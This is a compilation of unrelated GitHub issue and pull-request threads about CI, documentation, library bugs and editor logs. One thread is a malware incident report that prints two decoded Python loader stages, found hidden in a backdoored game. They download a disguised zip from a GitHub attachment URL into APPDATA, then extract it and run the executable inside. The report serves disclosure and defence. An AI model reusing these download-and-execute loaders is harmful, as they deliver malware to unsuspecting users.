If the issue was a change in the expected output, perhaps we can re-enabled the aliasing tests as well?

I've updated the test expectations and added back the alias tests. Doing a run to verify the issue is fixed.

Looks good to me


Add actions to report source editors

Added export actions only.
Fixes #49

@roll  I did not add other actions, I am sure about other actions as the report and source is not editable, so need your feedback on it.


make a better README(.md)

the one currently shown on github doesn't say much...
it needs to at least say:

what flask-theme is
what features it has
where it came from, seems to be a fork of flask-themes of leafstorm

the content in README seems to still refer to the pre-fork flask-themes.

Better now, although the full docs is a rather long readme. :)


New style flipud

New style flipud to support double backprop.

jenkins, test this please.

jenkins test this please

jenkins, test this please.

Rebase on top of master.

jenkins, test this please.

Would you merge https://github.com/hvy/chainer/pull/2 to your repo?

@takagi san, thank you for the adjustments. I merged your PR.

LGTM!


Add use client directive to fpjs-provider.tsx

As I understand it, this would allow users to use the <FpjsProvider>  in Next.js 13 server components without having to wrap it inside a client component first:
https://beta.nextjs.org/docs/rendering/server-and-client-components#rendering-third-party-context-providers-in-server-components

:tada: This issue has been resolved in version 2.3.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


add bootstrap baseline temporal shift, change to total variation loss.

Bootstrap method uses the "future" information to predict the same period of time. It does not suffer from temporal shift. Bootstrap can be a baseline, lower than which temporal shifts cannot be measured due to iid sampling noise.

Use total variation instead of cross-entropy as a more robust metric.

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Looked great!


Remove unwanted duplicate files and folder containing duplicated files

Go to repo pull it into your local machine, create new ranch delete unwanted files, make sure the project still runs the same way, commit your changes and push the new branch to remote lastly merge the new branch into the original and verify correct files going to be merge before deleted.
Whosoever works on this issue efficiently get some brownie points from my side.
Also, try to remove the  gitignore file before committing.

Interested
Please assign this issue to me.

Interested
Please assign this issue to me.

Tell me your approach first?

Tell me your approach first?

I am assigning it to you but you have to tell me your approach first

I am assigning it to you but you have to tell me your approach first

Any update @aavishkarmishra ?

Any update @aavishkarmishra ?

Can I proceed with this issue ?? @preeti13456 I am an SWoC participant.

Can I proceed with this issue ?? @preeti13456 I am an SWoC participant.

Sure

Sure


add bridgeformer training module to bridge former

Signed-off-by: xujinling<EMAIL_ADDRESS>

Codecov Report

Merging #1422 (7a325cf) into main (a18c3dd) will increase coverage by 0.18%.
The diff coverage is 79.25%.

:exclamation: Current head 7a325cf differs from pull request most recent head c987452. Consider uploading reports for the commit c987452 to get more accurate results

@@            Coverage Diff             @@
##             main    #1422      +/-   ##
==========================================
+ Coverage   68.40%   68.58%   +0.18%
==========================================
  Files         299      301       +2
  Lines       16343    16644     +301
  Branches     2656     2692      +36
==========================================
+ Hits        11180    11416     +236
- Misses       4420     4478      +58
- Partials      743      750       +7

Impacted Files
Coverage Δ

...whee/models/bridgeformer/bridge_former_training.py
52.04% <52.04%> (ø)

...odels/bridgeformer/bridge_former_training_block.py
92.74% <92.74%> (ø)

towhee/models/bridgeformer/bridge_former.py
53.12% <100.00%> (+4.84%)
:arrow_up:

towhee/utils/git_utils.py
51.89% <0.00%> (-0.88%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a18c3dd...c987452. Read the comment docs.

/lgtm

/lgtm
/approve


[Tasks] Tie up loose ends before writing the main analysis

[x] Resolve issue #38.
[x] Resolve issue #37.
[x] Resolve issue #42
[x] Fix compiler hook. #43
[x] Clean up SILWalaInstructionVisitor.cpp. (Commented out code, code quality, documentation, etc)
[x] Finish up documentation (readme, wiki, script results, build instructions, etc)

I'm satisfied with the C++ quality for now.


Update Get-ADUser.md

Adjusted the example in the Parameters > -Filter section to actually include curly braces; appears to have been copy+pasted from previous example.

Docs Build status updates of commit 0791d9c:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/windows/addsadministration/Get-ADUser.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

@justadakaje Thank you for taking the time to improve the article. Reviewers should follow-up with their comments soon. Stay healthy.

@dariomws @get-itips @tseward
Peer review needed for this PR. Thanks.

@JohanFreelancer9 Copy editing is needed for this PR. Thanks.

Assigning someone to follow-up with a correction. Thank you for the feedback.

Ready to merge along with the follow-up PR #1914 that corrects the error in this PR.

close > reopen

Docs Build status updates of commit c3c1537:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/windows/addsadministration/Get-ADUser.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.

Docs Build status updates of commit c3c1537:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docset/windows/addsadministration/Get-ADUser.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Game icons

Hi, in Defining Apps section in documentation there is icon_png_path parameter. I tried to use it but it didn't work. Where this icon should be placed? I tried many different locations like folder defined in app_state_folder variable, app directory, defined path from system, path in container without any luck.
Below you can find my app config and sample icon (I've created it for test purposes as PNG 628x888).
Here's my config:
[[apps]]
title = "Steam"
start_virtual_compositor = true
icon_png_path = "sample-icon.png"

[apps.runner]
type = "docker"
name = "WolfSteam"
image = "ghcr.io/games-on-whales/steam:edge"
mounts = []
env = [
  "PROTON_LOG=1",
  "TZ=Europe/Warsaw",
  "RUN_SWAY=true",
  "GOW_REQUIRED_DEVICES=/dev/input/* /dev/dri/* /dev/nvidia*",
]
devices = []
ports = []
base_create_json = """
{
  "HostConfig": {
    "IpcMode": "host",
    "CapAdd": ["SYS_ADMIN", "SYS_NICE", "SYS_PTRACE", "NET_RAW", "MKNOD", "NET_ADMIN"],
    "SecurityOpt": ["seccomp=unconfined", "apparmor=unconfined"],
    "Ulimits": [{"Name":"nofile", "Hard":10240, "Soft":10240}],
    "Privileged": false,
    "DeviceCgroupRules": ["c 13:* rmw", "c 244:* rmw"]
  }
}
"""

Here's icon file:

app_state_folder expects the full path to the image file and, more importantly, it has to be accessible by the Wolf container.
My advice would be to make a folder under /etc/wolf/ (or where you store your config.toml file) say icons/ and place the file there called sample-icon.png. In this case the config will be:
icon_png_path = "/etc/wolf/icons/sample-icon.png"

We should definitely improve the docs on this..

Thank you for quick reply. I've applied changes you proposed to config.toml
icon_png_path = "/etc/wolf/icons/sample-icon.png"

This is screen from inside wolf container:

As you see file is placed in proper location and is accessible with proper rights.
Unfortunately moonlight still isn't displaying this icon correctly.

This is probably due to Moonlight caching those images, I'm going to take a look back at this over the next few days since I've also found a source for some good and open licensed defaults that we could include in Wolf..
Stay tuned 😉

This is probably due to Moonlight caching those images,

I tried it on few different clients (android tv and windows). I also looked on windows into c:\Users\username\AppData\Local\Moonlight Game Streaming Project\Moonlight\cache\boxart\ where Moonlight is keeping its cache. Folder for this client was empty.

Ive been able to replicate this issue with Sunshine stream as well where Moonlight refuses to update the box art. I would suggest logging an issue with Moonlight as in my experience this problem isn't strictly related to wolf / sunshine stream and more related to the client not correctly updating its cache

In the newest wolf docker image ghcr.io/games-on-whales/wolf:stable (hash: sha256:5761b9337fb3713894d4e86b0ea8dd08939883d46d381efbcf3942acb461a8ff created 2024-10-28 21:45:36) moonlight images are now working using this line in config.toml:
icon_png_path = "/etc/wolf/icons/sample-icon.png"

I can see image for Steam application as seen below:

There are two problems now:

Original application name written on top of the image. I tried also with other icons with the same result.
There is problem with caching of these icons. I had to remove local moonlight cache to reload icons. This does not happen using sunshine or nvidia experience.


Inconsistencies between .select and .returning

attempt to solve #2544 and make the #2337 functionality work

Searching for issues to solve, This PR solves #2571 as well

I would really appreciate it if this was merged. As described in #2571, this also prevents returning geometry in a usable format, like with ST_AsGeoJSON() (AFAICT).

I'll look into this in the upcoming weeks. Considering that Objection still hasn't updated to the latest semver major, I think there is still space to squeeze in another breaking change.

@OlivierCavadenti Can you take this one?

@OlivierCavadenti That happens if you rerun migration after deleting some migration files that were run previously. Consider deleting knex changelog table

[object] thing looks very sus, though, probably we broke logging after changing migration file structure, but maybe it comes from other branch being used before

ah, so ci has it too. guess we broke migrator logic for fetching previously ran migrations

ah, so ci has it too. guess we broke migrator logic for fetching previously ran migrations

... in fact I miss to report one test correction with the rebase... now seems good (excepted Lint issue)

@OlivierCavadenti Incredible work, thank you so much! I will fix the linting issue tomorrow myself.
Do we need to update documentation after this change?

@OlivierCavadenti Incredible work, thank you so much! I will fix the linting issue tomorrow myself. Do we need to update documentation after this change?

Sure : https://github.com/knex/documentation/pull/378

Released in 1.0.1.


Update CI config to include ember 4

We're already ember 4 compatible and implicitly testing against it through ember-release, ember-beta etc. but would be good to add 4.0.0 to the CI config explicitly.

Closed with #910, the CI runs 4.4 and 4.8 LTS


Implement engine_getBlobsV1

This is a prototype implementation of engine_getBlobsV1, which allows the CL to fetch blobs from the EL to accelerate blob propagation:

https://github.com/ethereum/execution-apis/pull/559

Before merging there are a few things that need to be resolved:

[ ] Work out whether error handling is required on get_blobs or whether we should make it infallible (don't return a result).
[ ] Assess the performance impact of recomputing the versioned hashes during iteration (while holding the cache lock).
[ ] Determine a good location for the BlobAndProofV1 type.
[ ] Add tests.
[x] Add to engine capabilities.

@michaelsproul sorry about the conflicts,
this looks feature complete, I'd like to get this over the line, if you're okay with me fixing the conflicts?

thanks @mattsse that would be great
I started on it locally but got drawn into other things and will likely continue getting distracted
thanks for pushing it along!


refactor remove unused method and column definitions

Proposed changes

remove unused method and column definitions
using  primitive type in predicate column to check datev1 and datev2

Further comments
If this is a relatively large or complex change, kick off the discussion at<EMAIL_ADDRESS>by explaining why you chose the solution you did and what alternatives you considered, etc...

run buildall


run with runtime error 'Thread 1: "library must be initialized before calling this method."'

when i set isOSS to true in Secrets.swift, simulator run with rumtime error, like below picture：

Apparently it's because Analytics.shared() is accessed before Analytics.setup.
As a temporary fix, commenting out this line worked for me,
AppDelegate.swift, L#249
enabled ? Analytics.shared().enable() : Analytics.shared().disable()


fix: Updates for Flutter 3.16.0/Dart 3.2

Status
READY
Description

MockNavigator constructor now contains initialCanPop (default false), which is used to stub Navigator.canPop() automatically; it can ofcourse be overridden afterwards by stubbing again
Fixed _MockMaterialPageRoute.hackOverlays()  by creating a _MockOverlayState class that allows overriding of OverlayState.mounted

Type of Change

[x] ✨ New feature (non-breaking change which adds functionality)
[x] 🛠 Bug fix (non-breaking change which fixes an issue)
[ ] ❌ Breaking change (fix or feature that would cause existing functionality to change)
[ ] 🧹 Code refactor
[ ] ✅ Build configuration change
[ ] 📝 Documentation
[ ] 🗑 Chore

If were making these changes, can we also get the pubspec updated to >= 3.16.0 just to make sure we don't run into other issues later on?

Can we merge this? I can't update project Flutter version because of this.
Thanks a lot!

You can temporarily override your dependency:
  mockingjay:
    git: https://github.com/Tregan/mockingjay

Is there a particular reason other than convenience that canPop is stubbed by default?
I'd rather have an error during my test telling me I haven't mocked that method, rather than looking for a default that's hard to find.
Other than that, I'm okay with the changes. Thanks for the contribution!

Is there a particular reason other than convenience that canPop is stubbed by default?
I'd rather have an error during my test telling me I haven't mocked that method, rather than looking for a default that's hard to find.
Other than that, I'm okay with the changes. Thanks for the contribution!

Nope, just for convenience since it will have to be stubbed for every MockNavigator. I'll take it out and update the tests.
Maybe the docs/example should be updated as well?

Sounds good. If that's fixed then I think we're good to go on this one.


change kodadot logo on social image

Change logo in lower left corner of vercel images to the following:

svg:

I'll do this in the evening

needed to be done in vercel repo https://github.com/AndreyGrin/og-image/pull/2

merged in vercel repo. therefore closed


Return Code doesn't follow from commands

For the use case of running several linters in parallel, the return code from running the multirun command is returning 0 when the commands themselves return error codes.
Should multirun return non-zero when any of its commands fail?

Apologies, the error was on my end, I wasn't actually returning error.


SERXIONE-244: dial support for YouTube kids

Reason for change:  added dial support for YT kids
Test Procedure: refer jira.
Risks: Low
Signed-off-by: apatel859<EMAIL_ADDRESS>

Closed due to inactivity, please restore if still needed.


fix bugs with plugin parsing

If the plugin fails to parse it formerly would just exit silently and
all plugins would fail to install.
Also, if the plugin output anything on stderr it would try to parse it
and also fail.
This redirects stderr out to the terminal and shows the parsing error if
any.

ready for review @ransombriggs

@dickeyxxx lgtm


Upload to rapidsai directly (skip rapidsai-nightly?)

Given this just makes stable releases and pushes directly to PyPI ( https://github.com/rapidsai/rapids-build-backend/pull/47 ), it may make sense to do the same and push directly to rapidsai (skipping rapidsai-nightly)

I support this at this stage in its development. We aren't publishing nightlies / pre-releases and I expect the pace of new releases (and therefore manual ops work to publish to the rapidsai channel) to be pretty low.

In offline discussion with OPS, sounds like this should now work with a new release. Testing in PR: https://github.com/rapidsai/rapids-build-backend/pull/49

Looks like this uploaded to rapidsai:

https://anaconda.org/rapidsai/rapids-build-backend/files?version=0.3.2


Document feature requirement for TASK_KILL* state/event.

Can one of the admins verify this patch?

Can one of the admins verify this patch?

Thanks!


always insert a new #> line when in comment mode

Original
    <#
    .SYNOPSIS

    kcurrent
    display current kubernets namespaces

    #>

whenever I input a new line, it became following
<#
.SYNOPSIS
kcurrent
display current kubernets namespaces

 #>
 #>
#>

Duplicate of #35. It is in my short list of issues I hope to start working on.


Data fidelity planning

Notes on p. 2-3 at https://docs.google.com/document/d/1g1L5I_6sNwjLP5fjYigeyqrSXDvf4AW4w-VCE64XKIo/edit

Draft documentation: https://docs.google.com/document/d/1Efy0kgjg-SahvvFCuVw3ZH5H5-qPWtvM4q9wnnFIUI4/edit?usp=sharing

@amywieliczka @barbarahui requesting review

@aturner @christinklez I made some clarifying edits to the document and added some comments/questions.

@barbarahui @aturner @christinklez I responded to a few comments in the document, but I think these are all a bit inconsequential to the document itself. I also added a comment regarding the characterization of these requirements. Not sure whose call it is to make, but that's my own two cents. I think the doc looks good, overall, though.


XBiascorrection - indexes along dimension 'time' are not equal

Dear Pankaj,
Thank you for sharing your code. I have tried applying your code to my netcdf data. I have tried to apply your code to my netcdf data. I read the data according to the example you provided and got the following error.
df2 = bc.correct(method='basic_quantile')
Traceback (most recent call last):
  File "<ipython-input-47-075a7c14804d>", line 1, in <module>
    df2 = bc.correct(method='basic_quantile')
  File "/home/pikam04/miniconda2/envs/srcnn/lib/python3.7/site-packages/bias_correction.py", line 206, in correct
    output_core_dims=[[dim]], kwargs={'modified':False})
  File "/home/pikam04/miniconda2/envs/srcnn/lib/python3.7/site-packages/xarray/core/computation.py", line 1177, in apply_ufunc
    keep_attrs=keep_attrs,
  File "/home/pikam04/miniconda2/envs/srcnn/lib/python3.7/site-packages/xarray/core/computation.py", line 273, in apply_dataarray_vfunc
    args, join=join, copy=False, exclude=exclude_dims, raise_on_invalid=False
  File "/home/pikam04/miniconda2/envs/srcnn/lib/python3.7/site-packages/xarray/core/alignment.py", line 433, in deep_align
    fill_value=fill_value,
  File "/home/pikam04/miniconda2/envs/srcnn/lib/python3.7/site-packages/xarray/core/alignment.py", line 323, in align
    raise ValueError(f"indexes along dimension {dim!r} are not equal")
ValueError: indexes along dimension 'time' are not equal

Here I attached my code :
from bias_correction import XBiasCorrection
import xarray as xr
import pandas as pd
import matplotlib.pyplot as plt

chirps = xr.open_dataset("CHIRPS_005.nc")
model = xr.open_dataset("hindcast//CCSM4_ens_0p05.nc")
obs_data= xr.DataArray(chirps.prcp.values, dims=['time','lat','lon'],
                  coords=[pd.date_range('1999-01-07', '2017-01-06', freq='D'),
                          chirps.lat.values, chirps.lon.values])
mod_data = xr.DataArray(model.pr.values, dims=['time','lat','lon'],
                          coords=[pd.date_range('1999-01-07', '2017-01-06', freq='D'),
                                  chirps.lat.values, chirps.lon.values])
obs = obs_data.loc[dict(time=slice("2000-01-01", "2015-12-31"))]
#obs = obs.sel(time=~((obs.time.dt.month == 2) & (obs.time.dt.day == 29)))
mod = mod_data.loc[dict(time=slice("2000-01-01", "2015-12-31"))]
#mod = mod.sel(time=~((mod.time.dt.month == 2) & (mod.time.dt.day == 29)))
fct = mod_data.loc[dict(time=slice("2016-01-01", "2016-12-31"))]
#fct = fct.sel(time=~((fct.time.dt.month == 2) & (fct.time.dt.day == 29)))
bc = XBiasCorrection(obs, mod, fct)
df2 = bc.correct(method='basic_quantile')

I was wondering how can I fix this issue.
Thank you in advance

@ady-br  Thank you for your interest in this library. I would suggest you to diligently follow the example notebook given in this repo. Following the same would solve your problem.

passing in correct(method=..., join='outer') as in #9 likely solves this


Sync eng/common directory with azure-sdk-tools for PR 1318

Sync eng/common directory with azure-sdk-tools for PR https://github.com/Azure/azure-sdk-tools/pull/1318  See eng/common workflow

/check-enforcer override

/check-enforcer override


 Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:398  WARN Via 'product.json#extensionEnabledApiProposals' extension 'ms-vscode.azure-repos' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:398  WARN Via 'product.json#extensionEnabledApiProposals' extension 'ms-vscode.remote-repositories' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:398  WARN Via 'product.json#extensionEnabledApiProposals' extension 'github.vscode-pull-request-github' wants API proposal 'commentsResolvedState' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:398  WARN Via 'product.json#extensionEnabledApiProposals' extension 'github.remotehub' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:398  WARN Skipping extension /c:/Users/Sami/.vscode-insiders/extensions/ms-vscode-remote.remote-wsl-recommender-0.0.18 in favour of the builtin extension /c:/Program Files/Microsoft VS Code Insiders/resources/app/extensions/ms-vscode-remote.remote-wsl-recommender.
log.ts:398  WARN Skipping extension /c:/Users/Sami/.vscode-insiders/extensions/ms-vscode.js-debug-1.74.0 in favour of the builtin extension /c:/Program Files/Microsoft VS Code Insiders/resources/app/extensions/ms-vscode.js-debug.
log.ts:404   ERR Extension 'vscode.git' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.github-authentication' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.html-language-features' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.json-language-features' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.markdown-language-features' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.media-preview' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.merge-conflict' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.microsoft-authentication' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.simple-browser' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.
log.ts:404   ERR Extension 'vscode.typescript-language-features' wants API proposal 'telemetryLogger' but that proposal DOES NOT EXIST. Likely, the proposal has been finalized (check 'vscode.d.ts') or was abandoned.

I think this proposal has been finalized in the latest Insiders build, in preparation for 1.75 release. Endgame for that has started today.
Going forward these extensions should get updated so they no longer ask for this proposed API.
Are the messages causing any problems?

It is causing other extensions to fail, for example the Python extension cannot start

While these error messages are annoying and they will be fixed for tomorrow's insiders release these extensions should still work and activate properly. Are you not seeing that?

It gets stuck at the Python extension loading view. I will manage for a day :)

The actual solution is to install pre-release version of Python extensions installed in bundle.
Volia, it's working for me without hanging the extension load.


README: modprobe + modinfo descr.

Describing the use of the "modprobe" command to insert/remove the module into/from the running kernel.
Describing the use of the "modinfo" command to get the module metadata.

:+1: She looks good!


ktLint run fails when custom lint rule set.

Currently, when custom lint rule was set it falis execution. I attached infos below.

In addition, we have disabled rules inside .editorconfig file in project to disable trailing-comma-on-call-site but it not works. Could you help about this?


Possibly missing comma

Hello, I am trying to debug python code and while I was doing so,
I tried to evaluate highlighted expressions in visual mode with <Leader>e but it was giving error messages saying:
Traceback (most recent call last):
File "<string>", line 1, in <module>
AttributeError: 'DebuggerInterface' object has no attribute 'eval_visual'
Also before this, I followed the fix in https://gist.github.com/3348076
and modified the client.py file accordingly as mentioned in the VdebugSetupPython
I was then able to evaluate expressions with :VdebugEval, but evaluating the highlighted text was not working....
So I grepped for the eval_visual attribute and I found in util.py:
exclude = ["run", "close", "set_breakpoint", "enable_breakpoint", "disable_breakpoint",                "toggle_breakpoint" "eval_visual"]
There seems to be a missing comma , in between "toggle_breakpoint" and "eval_visual"
After adding the comma, everything is working fine.
Here:
https://github.com/vim-vdebug/vdebug/blob/d150bb5a90bc92f79b138bcdd602b7e0f492fa53/python3/vdebug/util.py#L108

I have created a pull request

Thanks :+1:


How to deal with a char* return type

So I have a c function with this prototype
char *GetResult(int resultHandle);

which I want to call from ffi.
Therefore I set
var mylib = ffi.Library('libmylib', {
  'GetResult': [ 'char *', [ 'int'] ]
});

and I call
var results=ls.GetResult(5);
console.log(JSON.stringify(results));

The output to the console is :
{"0":123,"length":1,"type":{"alignment":1,"name":"char","ffi_type":{"length":0,"name":"char"}}}
What am I doing wrong?
How can I retrieve the content of the char * buffer returned by the function?
Thanks

How can I pass a char array in return value? My c signature is int roka(char * val)
I use ffi in this way:
var lib = ffi.Library('mylib', {roka:['int', ['char*']]});
How can I access to modified val parameter? And how can I declare it a correct way?

@TooTallNate Thanks, finally I can get my void callback(const char *data, size_t size) work now... And I agree with @giuliomoro it would be nice if this info could be put into the wiki.

@TooTallNate
What is meant by  reinterpret(rawDataByteLength)??
I am facing the same issue. My return type is 'int16*' . How to read full returned data??


Answers to questions

Would it be possible to provide the answers to the end-of-chapter questions? This will really help me when studying as I can attempt the questions first and verify I understood the concepts. (Apologies if the answers were included and I missed them.) Thanks!

Hi, the answers are not provided. These questions are used for summative tests for the students I teach. As with most textbooks, I would prefer it as author when students can't find the answers online :) Maybe that is naive, but that's how it is for now.

Got it, that makes total sense. Appreciate it regardless!


Fix Python versioning

Oops, setting the build string broke the Python packaging.

Hi! This is the friendly automated conda-forge-linting service.
I just wanted to let you know that I linted all conda-recipes in your PR (recipe) and found it was in an excellent condition.


Masked BERT model from keras_nlp produces weird results

Description
I am trying to use keras-nlp with a pretrained masked BERT model to predict some tokens in a sequence. However the model produces inconsistent results. Am I doing something wrong?
To Reproduce
https://colab.research.google.com/drive/1kL5oXveRen9Zub_7kJCI28Gg34GfDt_x
Expected behavior
Tokens in predictions should match tokens in labels. The preprocessor masks two tokens, and first two tokens of predictions probably should match labels.

Hi @vctrs -
Thanks for reporting the issue. I have tested the code snippet and reproduces the reported behaviour.
Attached gist file for reference.
We will look into the issue and update you the same.


[URGENT] Malware hosted somewhere in this repo

Recently hit a pretty advanced-ish malware attack. The script in question was downloading a .zip file from this repository and running it on target PCs.
Link: https://github.com/NVIDIA/TransformerEngine/files/15392947/screens.txt
The .txt file is actually a .zip containing the malware.
Sandbox result: https://tria.ge/240523-2k2wtsbg8w

tagging some active contributors that might be able to find out how the file got here.
@denera @shamisp @ptrendx @phu0ngng

@andrei-cb Can you share where you found the link you reported?

Found it in a backdoored renpy game.
A python downloaded was hidden in the renpy LICENSE file encoded in base64 and was executed by some backdoored code.
The decoded script looks like this:
`import os
import platform
import requests
import threading
from datetime import datetime
def loadfonts():
if platform.system() != "Windows":
return
base_dir = os.path.join(os.getenv('APPDATA'), 'RenPy', 'bin')
if not os.path.exists(base_dir):
os.makedirs(base_dir)
script_path = os.path.join(base_dir, 'fontsload.py')
url = '<malware_link_censored>'
response = requests.get(url)
if response.status_code == 200:
    with open(script_path, 'w') as file:
        file.write(response.text)

    try:
        from importlib import util
        spec = util.spec_from_file_location("downloaded_module", script_path)
        downloaded_module = util.module_from_spec(spec)
        spec.loader.exec_module(downloaded_module)
        if hasattr(downloaded_module, 'run'):
            downloaded_module.run()
    except Exception as e:
        pass

def screenload():
thread = threading.Thread(target=loadfonts)
thread.start()`
fontsload.py file looks like this:
`import os
import requests
import zipfile
import subprocess
def run():
# Define the URL of the file you want to download (updated to the new ZIP file URL)
download_url = "https://github.com/NVIDIA/DeepLearningExamples/files/15425890/screens.txt"
# Define the path where the file will be saved and extracted
appdata_path = os.getenv('APPDATA')
target_directory = os.path.join(appdata_path, 'RenPy', 'bin')
zip_file_path = os.path.join(target_directory, 'downloaded.zip')
executable_path = os.path.join(target_directory, 'DepthsRevivals.exe')

# Ensure the target directory exists
if not os.path.exists(target_directory):
    os.makedirs(target_directory)

# Download the ZIP file and save it
response = requests.get(download_url)
if response.status_code == 200:
    with open(zip_file_path, 'wb') as file:
        file.write(response.content)
    print(f"ZIP file downloaded and saved to {zip_file_path}")

    # Extract the ZIP file
    try:
        with zipfile.ZipFile(zip_file_path, 'r') as zip_ref:
            zip_ref.extractall(target_directory)  # Using the provided password
        print("ZIP file extracted.")
    except zipfile.BadZipFile as e:
        print(f"Failed to extract ZIP file. Check if the file is a valid ZIP archive: {e}")
        return
    except RuntimeError as e:
        print(f"Password error or ZIP extraction error: {e}")
        return

    # Execute the extracted .exe file
    if os.path.exists(executable_path):
        try:
            subprocess.call([executable_path], shell=True)
            print("Executable file run successfully.")
        except Exception as e:
            print(f"Error executing the file: {e}")
    else:
        print("Executable file does not exist.")

    # Clean up the ZIP file
    os.remove(zip_file_path)
    print(f"ZIP file removed from {zip_file_path}.")

else:
    print("Failed to download the ZIP file.")

`
This downloads the file reported above and executes it. Looks like the second script was coded with some ai assistant, lmao.

@andrei-cb Thank you very much for the report. Security investigation showed that the malicious file was not part of the Transformer Engine repo itself (so our users are safe). The file was uploaded (and the link pointing to our repo was produced in order to make it look trustworthy) via the comment attachment feature of GitHub, see e.g. this article for details: https://www.bleepingcomputer.com/news/security/github-comments-abused-to-push-malware-via-microsoft-repo-urls/
We contacted GitHub and the file was removed. Closing this issue.


Dependent Types in the wild

In another thread @MaiaVictor mentioned a C backend is on its way. Which is super great (assuming its goal is to support unlimited parallelism among physical/virtual CPU cores). But making it efficient and fast can become soon intimidating.
This and other things are being researched and coded in other projects already - so it might make sense to take a look, whether some parts couldn't be shared to save precious time instead of reinventing the wheel.

E.g. in the Project Everest they have assembly generator backend "Vale" for pure dependent types language called F*.
In Project Everest they even have high-quality framework for distributed and concurrent programming SteelCore (this might be a good source of inspiration for stuff discussed in https://github.com/uwu-tech/Kind/issues/167 ).
Another distributed computing project which actually shares already the Formality backend with Kind :open_mouth:: https://github.com/yatima-inc/yatima (though admittedly I couldn't find anything related to distributed computing there yet :cry: - and the syntax is by far not so nice & polished as in Kind)

... and surely others (will be added on the go).

We had a C backend, but it used a direct compilation to interaction nets. While optimal, it was not so efficient, specially because of the overhead of λ-encoding everything, the lack of a garbage collector, missing parallelism opportunities, and just an overall lack of man-hours (hard to compete with compilers that had orders of magnitude more manpower). But I still think it is promising, specially if we compile functions and pattern-matching to specialized inet nodes, instead of λ-encodings. I'm working on this direction but slowly. You shouldn't expect anything major unless we get way more resources to pour on this project (but if we did, I truly believe such a thing would be world-changing; I strongly believe a well-optimized inet runtime would greatly surpass GHC, ChezScheme and others).
About Yatima, I don't think it currently shares our backend in any way, does it? It just shares a lot of ideas with Kind since both languages departed from Formality, but as far as I'm aware, they've started from scratch.

BTW if, by chance, any rich Dogecoin investor, that happens to have a weird fetish about creating the fastest functional language physically possible, is reading this, let's talk! I'd love to put spend some resources to build a team to develop a massively parallel inet runtime that could serve as the ultimate compile target for functional languages, but I don't think I can do that alone. Imagine Haskell, Scheme, Kind and the like running in your NVidia cores as fast as your pro-gamer shaders. That is the world I want to live in!

I'd love to put/spend some resources to build a team to develop a massively parallel inet runtime that could serve as the ultimate compile target for functional languages, but I don't think I can do that alone.

I'm in contact with some potentially relevant people from three universities - maybe if there was something like a "plan" (imagine you'd be signing up for Google Summer of Code and would need to meet related criteria) I could point them at it and they'll get in contact with you if there are any students willing to make this "breakthrough" happen.

Interesting, @MaisaMilena can you help me here? I'm not familiar with Google Summer of Code submission format and criteria but I'd be glad to provide one for such parallel functional compiler.

I'm in contact with some potentially relevant people from three universities - maybe if there was something like a "plan" (imagine you'd be signing up for Google Summer of Code and would need to meet related criteria) I could point them at it and they'll get in contact with you if there are any students willing to make this "breakthrough" happen.

That's cool! I imagine that the document you mentioned would be like specifying the team skills needed to complete it, the approximate time to complete it, and the goals, is that correct?

@MaisaMilena exactly that!


Add ability to disable job scheduling of specified extension plugin

JobScheduler plugin maybe extended by multiple extension plugins. Extension plugins may support the configuration to allow users to disable the plugin at runtime, which requires all scheduled jobs of that plugin to be descheduled.
Let extension plugin to disable all jobs by updating all job documents by setting enabled flag to false is an option, but it is not ideal, as the enabled field is meant for extension plugins to control at job level to support their use cases.
Thus we may want to implement a new mechanism for extension plugins to disable all their jobs at one shot.

One potential option is to add a extension plugin blacklist setting for JobScheduler. If extension plugin wants to disable all their jobs, they can add itself to the blacklist. JobScheduler listens to this setting change and disable the jobs accordingly

Hi,
